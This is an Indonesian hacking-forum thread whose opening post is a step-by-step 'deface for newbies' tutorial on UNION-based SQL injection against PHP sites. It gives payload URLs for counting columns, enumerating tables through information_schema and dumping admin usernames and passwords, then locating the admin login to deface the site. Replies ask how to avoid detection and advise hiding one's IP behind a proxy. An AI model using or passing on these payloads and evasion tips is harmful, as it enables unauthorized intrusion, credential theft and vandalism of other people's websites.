Tutorial Deface For Newbie...

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --

information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
[+]step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):


==========
[+]step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--


===========
[+]step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek
versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


============
[+]step Empat:=
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"


===========
[+]step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--


=============
[+] step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--


============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--


contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--


==============
[+] step Delapan:=
==============

tahap terakhir mencari halam admin atau login
\

by:zee_00n



silahkan sedot..

untuk conversi
www.ascii-convert.co.cc
sudah tidak bisa

jadi gunakan

www.paulschou.com/tools/xlate

Udh gw tes bro,
cman gagal mua..
xaxaxaxaxaxaxa
pyah nemuin trget yg cocok...

emang susah...
xaxaxaxax

udah join group fb khan??

Code:

http://www.facebook.com/group.php?gid=135802653171

Grup mct kn??

Udh psti lh..
Mang np??

@ xtwelve
klo nyari trget tuh ada dork google dipostingan zee_OOn...
Dikembangin jja...
Xixixi

okay...

ntar kalo dah ada yang kedeface silahkan thread baru namanya
:show off

@atas
buat apa bro??

@zee_OOn..
Sep dah....

Oka..Y

wew....

thank's for shared dah...mari berbagi

Sama-sama kk

ajarin cara eksekusinya dunx..
gak ngarti ne...

sep-sep... nice inpo. walaupun manfaat dari nge-deface ini blum bgitu dapet (bagi gw) tapi gw kutip aja deh trit ini.

Gan,gak ketahuan kalo kita dah ngebuat kyk gitu..?

Hi,i am newbie

Gan,kalo kita udah ngedeface..
Gak bakalan ketahuan kan.?


Hi,i am newbie

@atas...
yg itu seh tergantung bro...
klw adminnya pintar ntar dy bsa lacak pake IP
mknya sebelom ngedeface samarin dolo IP nya pake Proxy...

O..

Maklum gan..

Masih newbie..

gimana melibas: hacker32_burak pada administrator
atau hacker yg lainnya (kirim via e-mail ya: forum@pakmansur.com)

@pakmansur
baru dengar pak...
bisa di jelasin?

@pakmansur

maksudnya apa pak????
gga ngerti....

gini neh.. kemarin tiba2 gak bisa masuk ke admin webku. satu2 tulisan asing disiti adalah HACKER32_BURAK. Sepertinya kena hacker lah ...

tapi kalo ku cari2 mungkin itu kena dari link lain yng blum sempat ku edit dari bawaan joomlanya.

yah timbang bingung ku clean up saja webnya. skrg blom OL lagi.

go go go white hacker

mnta tlong ajari pake bhs newbie donk...

Pke bhasa newbie nya tuh..

Klu msi gk jlas tanya za ma pak tarlan or buk sakdiah..

wkwkwkwkwk